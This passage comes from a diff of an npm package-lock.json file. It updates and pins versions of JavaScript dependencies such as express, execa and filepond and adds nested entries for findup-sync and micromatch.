"sha512-ivIvhpq/Y0uSjcHDcOIccjmYjGLcP09MFGE7ysAwkAvkXfpZlC985pH2/ui64DKazbTW/4kN3yqozUxlXzI6cA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.0.tgz", + "integrity": "sha512-qerSRB0p+UDEssxTtm6EDKcE7W4OaoisfIMl4CngyEhjpYglocpNg6UEqCvemdGhosAsg4sO2dXJOdyBifPGCg==", "dev": true }, "events": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", - "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.0.0.tgz", + "integrity": "sha512-Dc381HFWJzEOhQ+d8pkNon++bk9h6cdAoAj4iE6Q4y6xgTzySWXlKn05/TVNpjnfRqi/X0EpJEJohPjNI3zpVA==", "dev": true }, "eventsource": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-0.1.6.tgz", - "integrity": "sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-1.0.7.tgz", + "integrity": "sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ==", "dev": true, "requires": { - "original": ">=0.0.5" + "original": "1.0.2" } }, "evp_bytestokey": { @@ -5020,23 +5357,23 @@ "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", "dev": true, "requires": { - "md5.js": "^1.3.4", - "safe-buffer": "^5.1.1" + "md5.js": "1.3.5", + "safe-buffer": "5.1.1" } }, "execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", "dev": true, "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "6.0.5", + "get-stream": "4.1.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "expand-braces": { @@ -5045,9 +5382,9 @@ "integrity": "sha1-SIsdHSRRyz06axks/AMPRMWFX+o=", "dev": true, "requires": { - "array-slice": "^0.2.3", - "array-unique": "^0.2.1", - "braces": "^0.1.2" + "array-slice": "0.2.3", + "array-unique": "0.2.1", + "braces": "0.1.5" }, "dependencies": { "braces": { @@ -5056,7 +5393,7 @@ "integrity": "sha1-wIVxEIUpHYt1/ddOqw+FlygHEeY=", "dev": true, "requires": { - "expand-range": "^0.1.0" + "expand-range": "0.1.1" } }, "expand-range": { @@ -5065,8 +5402,8 @@ "integrity": "sha1-TLjtoJk8pW+k9B/ELzy7TMrf8EQ=", "dev": true, "requires": { - "is-number": "^0.1.1", - "repeat-string": "^0.2.2" + "is-number": "0.1.1", + "repeat-string": "0.2.2" } }, "is-number": { @@ -5090,7 +5427,7 @@ "dev": true, "optional": true, "requires": { - "is-posix-bracket": "^0.1.0" + "is-posix-bracket": "0.1.1" } }, "expand-range": { @@ -5100,45 +5437,54 @@ "dev": true, "optional": true, "requires": { - "fill-range": "^2.1.0" + "fill-range": "2.2.3" + } + }, + "expand-tilde": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", + "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=", + "dev": true, + "requires": { + "homedir-polyfill": "1.0.3" } }, "express": { - "version": "4.16.3", - "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz", - "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", "dev": true, "requires": { - "accepts": "~1.3.5", + "accepts": "1.3.7", "array-flatten": "1.1.1", - "body-parser": "1.18.2", - "content-disposition": "0.5.2", - "content-type": "~1.0.4", - "cookie": "0.3.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "1.0.4", + "cookie": "0.4.0", "cookie-signature": "1.0.6", "debug": "2.6.9", - "depd": "~1.1.2", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.1.1", + "depd": "1.1.2", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "etag": "1.8.1", + "finalhandler": "1.1.2", "fresh": "0.5.2", "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", + "methods": "1.1.2", + "on-finished": "2.3.0", + "parseurl": "1.3.3", "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.3", - "qs": "6.5.1", - "range-parser": "~1.2.0", - "safe-buffer": "5.1.1", - "send": "0.16.2", - "serve-static": "1.13.2", - "setprototypeof": "1.1.0", - "statuses": "~1.4.0", - "type-is": "~1.6.16", + "proxy-addr": "2.0.5", + "qs": "6.7.0", + "range-parser": "1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "1.5.0", + "type-is": "1.6.18", "utils-merge": "1.0.1", - "vary": "~1.1.2" + "vary": "1.1.2" }, "dependencies": { "array-flatten": { @@ -5147,23 +5493,11 @@ "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", "dev": true }, - "body-parser": { - "version": "1.18.2", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz", - "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=", - "dev": true, - "requires": { - "bytes": "3.0.0", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "~1.1.1", - "http-errors": "~1.6.2", - "iconv-lite": "0.4.19", - "on-finished": "~2.3.0", - "qs": "6.5.1", - "raw-body": "2.3.2", - "type-is": "~1.6.15" - } + "cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", + "dev": true }, "debug": { "version": "2.6.9", @@ -5174,75 +5508,22 @@ "ms": "2.0.0" } }, - "finalhandler": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", - "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", - "dev": true, - "requires": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", - "statuses": "~1.4.0", - "unpipe": "~1.0.0" - } - }, - "iconv-lite": { - "version": "0.4.19", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", - "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==", - "dev": true - }, "qs": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", - "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", "dev": true }, - "raw-body": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", - "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", - "dev": true, - "requires": { - "bytes": "3.0.0", - "http-errors": "1.6.2", - "iconv-lite": "0.4.19", - "unpipe": "1.0.0" - }, - "dependencies": { - "depd": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", - "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=", - "dev": true - }, - "http-errors": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", - "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", - "dev": true, - "requires": { - "depd": "1.1.1", - "inherits": "2.0.3", - "setprototypeof": "1.0.3", - "statuses": ">= 1.3.1 < 2" - } - }, - "setprototypeof": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", - "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=", - "dev": true - } - } + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true }, - "statuses": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", - "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==", + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", "dev": true } } @@ -5259,8 +5540,8 @@ "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", "dev": true, "requires": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" + "assign-symbols": "1.0.0", + "is-extendable": "1.0.1" }, "dependencies": { "is-extendable": { @@ -5269,20 +5550,20 @@ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "^2.0.4" + "is-plain-object": "2.0.4" } } } }, "external-editor": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.3.tgz", - "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", "dev": true, "requires": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" + "chardet": "0.7.0", + "iconv-lite": "0.4.24", + "tmp": "0.0.33" }, "dependencies": { "iconv-lite": { @@ -5291,7 +5572,7 @@ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } } } @@ -5303,7 +5584,7 @@ "dev": true, "optional": true, "requires": { - "is-extglob": "^1.0.0" + "is-extglob": "1.0.0" } }, "extract-zip": { @@ -5352,7 +5633,8 @@ "fast-deep-equal": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", - "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=" + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true }, "fast-json-stable-stringify": { "version": "2.0.0", @@ -5377,7 +5659,7 @@ "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", "dev": true, "requires": { - "websocket-driver": ">=0.5.1" + "websocket-driver": "0.7.3" } }, "fbjs": { @@ -5385,13 +5667,13 @@ "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", "requires": { - "core-js": "^1.0.0", - "isomorphic-fetch": "^2.1.1", - "loose-envify": "^1.0.0", - "object-assign": "^4.1.0", - "promise": "^7.1.1", - "setimmediate": "^1.0.5", - "ua-parser-js": "^0.7.18" + "core-js": "1.2.7", + "isomorphic-fetch": "2.2.1", + "loose-envify": "1.3.1", + "object-assign": "4.1.1", + "promise": "7.3.1", + "setimmediate": "1.0.5", + "ua-parser-js": "0.7.19" }, "dependencies": { "core-js": { @@ -5407,7 +5689,7 @@ "integrity": "sha1-i1vL2ewyfFBBv5qwI/1nUPEXfmU=", "dev": true, "requires": { - "pend": "~1.2.0" + "pend": "1.2.0" } }, "fetch": { @@ -5419,23 +5701,28 @@ "encoding": "0.1.12" } }, + "figgy-pudding": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.1.tgz", + "integrity": "sha512-vNKxJHTEKNThjfrdJwHc7brvM6eVevuO5nTj6ez8ZQ1qbXTvGthucRF7S4vf2cr71QVnT70V34v0S1DyQsti0w==", + "dev": true + }, "figures": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { - "escape-string-regexp": "^1.0.5" + "escape-string-regexp": "1.0.5" } }, "file-entry-cache": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", - "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz", + "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==", "dev": true, "requires": { - "flat-cache": "^1.2.1", - "object-assign": "^4.0.1" + "flat-cache": "2.0.1" } }, "file-loader": { @@ -5444,8 +5731,8 @@ "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", "dev": true, "requires": { - "loader-utils": "^1.0.2", - "schema-utils": "^0.4.5" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" }, "dependencies": { "loader-utils": { @@ -5454,9 +5741,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -5474,9 +5761,9 @@ "optional": true }, "filepond": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz", - "integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA==" + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.4.tgz", + "integrity": "sha512-dxzocBhVYg8GRfvjK3kXBWsIfSBuPhSmfQOQnUU2wZzdnnz8Mw8xGhODDww0edCkl8gLDyUKLdq9jhBJxaZFZQ==" }, "fill-range": { "version": "2.2.3", @@ -5485,26 +5772,26 @@ "dev": true, "optional": true, "requires": { - "is-number": "^2.1.0", - "isobject": "^2.0.0", - "randomatic": "^1.1.3", - "repeat-element": "^1.1.2", - "repeat-string": "^1.5.2" + "is-number": "2.1.0", + "isobject": "2.1.0", + "randomatic": "1.1.7", + "repeat-element": "1.1.2", + "repeat-string": "1.6.1" } }, "finalhandler": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.0.tgz", - "integrity": "sha1-zgtoVbRYU+eRsvzGgARtiCU91/U=", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", "dev": true, "requires": { "debug": "2.6.9", - "encodeurl": "~1.0.1", - "escape-html": "~1.0.3", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", - "statuses": "~1.3.1", - "unpipe": "~1.0.0" + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "on-finished": "2.3.0", + "parseurl": "1.3.3", + "statuses": "1.5.0", + "unpipe": "1.0.0" }, "dependencies": { "debug": { @@ -5515,12 +5802,6 @@ "requires": { "ms": "2.0.0" } - }, - "statuses": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.3.1.tgz", - "integrity": "sha1-+vUbnrdKrvOzrPStX2Gr8ky3uT4=", - "dev": true } } }, @@ -5530,9 +5811,9 @@ "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", "dev": true, "requires": { - "commondir": "^1.0.1", - "make-dir": "^1.0.0", - "pkg-dir": "^2.0.0" + "commondir": "1.0.1", + "make-dir": "1.3.0", + "pkg-dir": "2.0.0" } }, "find-root": { @@ -5545,30 +5826,349 @@ "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", "requires": { - "path-exists": "^2.0.0", - "pinkie-promise": "^2.0.0" + "path-exists": "2.1.0", + "pinkie-promise": "2.0.1" + } + }, + "findup-sync": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", + "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", + "dev": true, + "requires": { + "detect-file": "1.0.0", + "is-glob": "4.0.1", + "micromatch": "3.1.10", + "resolve-dir": "1.0.1" + }, + "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + } } }, "flat-cache": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", - "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", + "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==", "dev": true, 